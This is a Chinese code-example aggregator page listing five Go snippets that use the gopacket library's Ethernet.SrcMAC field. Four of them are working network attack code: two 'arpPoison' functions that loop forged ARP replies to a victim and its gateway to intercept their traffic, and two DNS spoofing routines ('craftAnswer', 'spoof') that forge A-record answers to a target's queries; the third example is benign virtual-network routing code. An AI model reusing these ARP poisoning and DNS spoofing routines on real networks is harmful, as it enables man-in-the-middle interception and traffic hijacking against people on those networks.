本文整理汇总了Golang中github.com/google/gopacket/layers.Ethernet.SrcMAC方法的典型用法代码示例。如果您正苦于以下问题:Golang Ethernet.SrcMAC方法的具体用法?Golang Ethernet.SrcMAC怎么用?Golang Ethernet.SrcMAC使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类github.com/google/gopacket/layers.Ethernet
的用法示例。
在下文中一共展示了Ethernet.SrcMAC方法的5个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Golang代码示例。
示例1: craftAnswer
/*
FUNCTION: craftAnswer(ethernetLayer *layers.Ethernet, ipLayer *layers.IPv4, dnsLayer *layers.DNS, udpLayer *layers.UDP) []byte{
RETURNS: Byte array containing the spoofed response DNS packet data
ARGUMENTS:
*layers.Ethernet ethernetLayer - the ethernet part of the packet recieved
*layers.DNS dnsLayer - the dns part of the packet recieved
*layers.IPv4 ipLayer - the ip part of the packet recieved
*layers.UDP udpLayer - the udp part of the packet recieved
ABOUT:
Crafts a spoofed dns packet using the incoming query.
*/
func craftAnswer(ethernetLayer *layers.Ethernet, ipLayer *layers.IPv4, dnsLayer *layers.DNS, udpLayer *layers.UDP) []byte {
//if not a question return
if dnsLayer.QR || ipLayer.SrcIP.String() != target {
return nil
}
//must build every layer to send DNS packets
ethMac := ethernetLayer.DstMAC
ethernetLayer.DstMAC = ethernetLayer.SrcMAC
ethernetLayer.SrcMAC = ethMac
ipSrc := ipLayer.SrcIP
ipLayer.SrcIP = ipLayer.DstIP
ipLayer.DstIP = ipSrc
srcPort := udpLayer.SrcPort
udpLayer.SrcPort = udpLayer.DstPort
udpLayer.DstPort = srcPort
err = udpLayer.SetNetworkLayerForChecksum(ipLayer)
checkError(err)
var answer layers.DNSResourceRecord
answer.Type = layers.DNSTypeA
answer.Class = layers.DNSClassIN
answer.TTL = 200
answer.IP = ipAddr
dnsLayer.QR = true
for _, q := range dnsLayer.Questions {
if q.Type != layers.DNSTypeA || q.Class != layers.DNSClassIN {
continue
}
answer.Name = q.Name
dnsLayer.Answers = append(dnsLayer.Answers, answer)
dnsLayer.ANCount = dnsLayer.ANCount + 1
}
buf := gopacket.NewSerializeBuffer()
opts := gopacket.SerializeOptions{
FixLengths: true,
ComputeChecksums: true,
}
err = gopacket.SerializeLayers(buf, opts, ethernetLayer, ipLayer, udpLayer, dnsLayer)
checkError(err)
return buf.Bytes()
}
示例2: arpPoison
/*
FUNCTION: arpPoison(targetMAC, gateway, gatewayMAC string){
RETURNS: Nothing
ARGUMENTS:
string targetMAC - the victim mac address for spoofing
string gateway - the gateway IP the victim uses
string gatewayMAC - the mac address of the gateway the vicitim uses
ABOUT:
Performs arp poisoning of the target machine. Sets its traffic to all come
through the host machine, and sets the gateway to redirect its traffic for the victim to this host.
*/
func arpPoison(targetMAC, gateway, gatewayMAC string) {
// i lost my mind over this, the parseip function is broke and adds a bucket of worthless
// bytes to the beginning of the array, I wish I did this in C
// I GUESS I DID C
gw := (net.ParseIP(gateway))[12:]
tg := (net.ParseIP(target))[12:]
tgm, _ := net.ParseMAC(targetMAC)
gwm, _ := net.ParseMAC(gatewayMAC)
fmt.Print("========================")
fmt.Printf("GateWay IP:%s\nTarget IP:%s\nGateway MAC:%s\nTarget MAC:%s\n", gateway, target, gatewayMAC, targetMAC)
fmt.Print("========================")
ethernetPacket := layers.Ethernet{}
ethernetPacket.DstMAC = tgm
ethernetPacket.SrcMAC = macAddr
ethernetPacket.EthernetType = layers.EthernetTypeARP
arpPacket := layers.ARP{}
arpPacket.AddrType = layers.LinkTypeEthernet
arpPacket.Protocol = 0x0800
arpPacket.HwAddressSize = 6
arpPacket.ProtAddressSize = 4
arpPacket.Operation = 2
//poison the target
arpPacket.SourceHwAddress = macAddr
arpPacket.SourceProtAddress = gw
arpPacket.DstHwAddress = tgm
arpPacket.DstProtAddress = tg
gwEthernetPacket := ethernetPacket
gwARPPacket := arpPacket
//poison the gateway
gwARPPacket.SourceProtAddress = tg
gwARPPacket.DstHwAddress = gwm
gwARPPacket.DstProtAddress = gw
for {
//poison target
writePoison(arpPacket, ethernetPacket)
time.Sleep(1 * time.Second)
//poison gateway
writePoison(gwARPPacket, gwEthernetPacket)
time.Sleep(5 * time.Second)
}
}
示例3: handleTCP
//.........这里部分代码省略.........
if gateway == nil || !gateway.Up {
log.Printf("no gateway")
// ignore
return
}
if dstIP.To4() != nil {
if len(gateway.IPv4Addrs) > 0 {
ruleDstIP = gateway.IPv4Addrs[0]
}
} else {
if len(gateway.IPv6Addrs) > 0 {
ruleDstIP = gateway.IPv6Addrs[0]
}
}
}
if ruleDstIP == nil {
log.Printf("no destination ip")
// ignore
return
}
var r routes.Route
r.Protocol = protocols.TCP
r.HostID = pkt.DstHost.ID
r.SetInboundSource(srcIP, srcPort)
r.SetInboundDestination(dstIP, dstPort)
r.SetOutboundSource(hostIP, hostPort)
r.SetOutboundDestination(ruleDstIP, ruleDstPort)
route, err = vnet.routes.AddRoute(&r)
if err != nil {
// ignore
log.Printf("TCP/error: %s", err)
return
}
}
if route == nil {
log.Printf("no route")
// ignore
return
}
var (
eth layers.Ethernet
tcp layers.TCP
)
eth = *pkt.Eth
eth.SrcMAC = vnet.system.ControllerMAC()
eth.DstMAC = vnet.system.GatewayMAC()
tcp = *pkt.TCP
tcp.SrcPort = layers.TCPPort(route.Outbound.SrcPort)
tcp.DstPort = layers.TCPPort(route.Outbound.DstPort)
if route.Outbound.DstIP.To4() != nil {
ip := layers.IPv4{
SrcIP: route.Outbound.SrcIP.To4(),
DstIP: route.Outbound.DstIP.To4(),
Version: 4,
Protocol: layers.IPProtocolTCP,
TTL: 64,
}
tcp.SetNetworkLayerForChecksum(&ip)
err = vnet.writePacket(
ð,
&ip,
&tcp,
gopacket.Payload(pkt.TCP.Payload))
if err != nil {
log.Printf("TCP/error: %s", err)
return
}
} else {
ip := layers.IPv6{
SrcIP: route.Outbound.SrcIP.To16(),
DstIP: route.Outbound.DstIP.To16(),
Version: 4,
NextHeader: layers.IPProtocolTCP,
}
tcp.SetNetworkLayerForChecksum(&ip)
err = vnet.writePacket(
ð,
&ip,
&tcp,
gopacket.Payload(pkt.TCP.Payload))
if err != nil {
log.Printf("TCP/error: %s", err)
return
}
}
route.RoutedPacket(now, len(pkt.buf))
}
示例4: arpPoison
func arpPoison(device string, routerMac net.HardwareAddr, routerIP net.IP, localMac net.HardwareAddr, localIP net.IP, victimMac net.HardwareAddr, victimIP net.IP) {
// Open NIC at layer 2
handle, err := pcap.OpenLive(device, 1024, false, pcap.BlockForever)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
defer handle.Close()
// create an empty ethernet packet
ethernetPacket := layers.Ethernet{}
// create an empty ARP packet
arpPacket := layers.ARP{}
// pre populate Arp Packet Info
arpPacket.AddrType = layers.LinkTypeEthernet
arpPacket.HwAddressSize = 6
arpPacket.ProtAddressSize = 4
arpPacket.Operation = 2
arpPacket.Protocol = 0x0800
// continiously put arp responses on the wire to ensure a good posion.
for {
/******** posion arp from victim to local ********/
//set the ethernet packets' source mac address
ethernetPacket.SrcMAC = localMac
//set the ethernet packets' destination mac address
ethernetPacket.DstMAC = victimMac
//set the ethernet packets' type as ARP
ethernetPacket.EthernetType = layers.EthernetTypeARP
// create a buffer
buf := gopacket.NewSerializeBuffer()
opts := gopacket.SerializeOptions{}
// customize ARP Packet info
arpPacket.SourceHwAddress = localMac
arpPacket.SourceProtAddress = routerIP
arpPacket.DstHwAddress = victimMac
arpPacket.DstProtAddress = victimIP
// set options for serializing (this probably isn't needed for an ARP packet)
// serialize the data (serialize PREPENDS the data)
err = arpPacket.SerializeTo(buf, opts)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
err = ethernetPacket.SerializeTo(buf, opts)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
// turn the packet into a byte array
packetData := buf.Bytes()
//remove padding and write to the wire
handle.WritePacketData(packetData[:42])
//Sleep so we don't flood with ARPS
time.Sleep(50 * time.Millisecond)
/******** end posion arp from victim to local ********/
/******** posion arp from router to local ********/
//set the ethernet packets' source mac address
ethernetPacket.SrcMAC = localMac
//set the ethernet packets' destination mac address
ethernetPacket.DstMAC = victimMac
//set the ethernet packets' type as ARP
ethernetPacket.EthernetType = layers.EthernetTypeARP
// customize ARP Packet info
arpPacket.SourceHwAddress = localMac
arpPacket.SourceProtAddress = victimIP
arpPacket.DstHwAddress = routerMac
arpPacket.DstProtAddress = routerIP
// set options for serializing (this probably isn't needed for an ARP packet)
// serialize the data (serialize PREPENDS the data)
err = arpPacket.SerializeTo(buf, opts)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
err = ethernetPacket.SerializeTo(buf, opts)
if err != nil {
fmt.Println(err)
os.Exit(1)
//.........这里部分代码省略.........
示例5: spoof
//.........这里部分代码省略.........
for i = 0; i < dnsLayer.QDCount; i++ {
fmt.Println(string(dnsLayer.Questions[i].Name))
}
// set this to be a response
dnsLayer.QR = true
// if recursion was requested, it is available
if dnsLayer.RD {
dnsLayer.RA = true
}
// for each question
for i = 0; i < dnsLayer.QDCount; i++ {
// get the question
q = dnsLayer.Questions[i]
// verify this is an A-IN record question
if q.Type != layers.DNSTypeA || q.Class != layers.DNSClassIN {
continue
}
// copy the name across to the response
a.Name = q.Name
// append the answer to the original query packet
dnsLayer.Answers = append(dnsLayer.Answers, a)
dnsLayer.ANCount = dnsLayer.ANCount + 1
}
// swap ethernet macs
ethMac = ethLayer.SrcMAC
ethLayer.SrcMAC = ethLayer.DstMAC
ethLayer.DstMAC = ethMac
// swap the ip
ipv4Addr = ipv4Layer.SrcIP
ipv4Layer.SrcIP = ipv4Layer.DstIP
ipv4Layer.DstIP = ipv4Addr
// swap the udp ports
udpPort = udpLayer.SrcPort
udpLayer.SrcPort = udpLayer.DstPort
udpLayer.DstPort = udpPort
// set the UDP to be checksummed by the IP layer
err = udpLayer.SetNetworkLayerForChecksum(&ipv4Layer)
if err != nil {
panic(err)
}
// serialize packets
err = gopacket.SerializeLayers(outbuf, serialOpts, ðLayer, &ipv4Layer, &udpLayer, &dnsLayer)
if err != nil {
panic(err)
}
// write packet
err = ifaceHandle.WritePacketData(outbuf.Bytes())
if err != nil {
panic(err)
}
fmt.Println("Response sent")